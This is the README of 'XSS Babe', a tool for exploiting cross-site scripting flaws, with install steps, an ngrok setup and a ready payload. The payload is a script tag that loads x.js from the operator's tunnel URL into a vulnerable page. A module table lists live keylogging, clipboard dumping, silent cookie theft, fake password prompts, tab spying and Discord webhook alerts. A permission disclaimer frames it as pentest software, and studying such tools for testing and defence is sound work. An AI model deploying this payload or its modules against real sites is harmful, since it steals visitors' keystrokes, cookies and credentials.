XSS Babe is a tool for exploiting XSS vulnerabilities in real time.
It automates delivery, tracking, and payload interaction through a live command-line interface.
This tool is for educational and ethical penetration testing only.
Do not use it against targets without permission.
You are solely responsible for how you use this software.
git clone https://github.com/ekomsSavior/XSS-BABE.git
cd XSS-BABE
sudo apt update
sudo apt install python3 unzip -y
sudo apt install python3-flask python3-pyngrok -y
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
sudo mv ngrok /usr/local/bin/
ngrok config add-authtoken YOUR_TOKEN_HERE
python3 xss_babe_cli.py
https://vuln.site/?q=)x.js loader into your payloadsession_reports/Use the Ngrok URL + this payload in the vulnerable input:
<script src="https://YOUR_NGROK_URL/static/x.js"></script>
| Module | Description | Status |
|---|---|---|
keylogger |
Records keystrokes in real time | Live |
fake_login |
Displays fake login form for credential capture | Coming Soon |
clipboard |
Dumps contents of the victim’s clipboard | Live |
auto_cookie_steal |
Extracts document cookies silently | Live |
browser_history |
Reads browser history if accessible | Coming Soon |
fake_download |
Prompts a fake download and logs the click | Live |
fingerprint |
Collects user-agent, screen size, timezone | Coming Soon |
screenshot |
Captures a visual screenshot using HTML2Canvas | Coming Soon |
recon |
Loads iframe ports and resources for open recon | Coming Soon |
cross_tab_spy |
Detects and tracks multiple open tabs | Coming Soon |
cross_tab_messaging_spy |
Reports other open tabs and focus changes | Live |
discord_logger |
Sends a page load alert to a Discord webhook | Live |
password_bait |
Displays a fake password prompt to capture credentials | Live |
xss_babe/xss_babe_cli.py – Main interactive CLIserver.py – Flask server for payload deliveryrequirements.txt – Python dependenciesstatic/x.js – XSS loader scriptmodules/auto_cookie_steal.jsclipboard.jscross_tab_messaging_spy.jsdiscord_logger.jsfake_download.jshistory_stealer.jskeylogger.jspassword_bait.jsfake_login.js (coming soon)browser_history.js (coming soon)fingerprint.js (coming soon)screenshot.js (coming soon)recon.js (coming soon)cross_tab_spy.js (coming soon)utils/save_to_txt.py – Helper to save session infosession_reports/[timestamp].txt – Auto-generated session logsAll session output (payloads used, timestamps, logs) are saved to:
session_reports/YYYY-MM-DD-HHMMSS.txt
Use XSS Babe only in lab environments or on targets you own or have permission to test.
// click a file to view source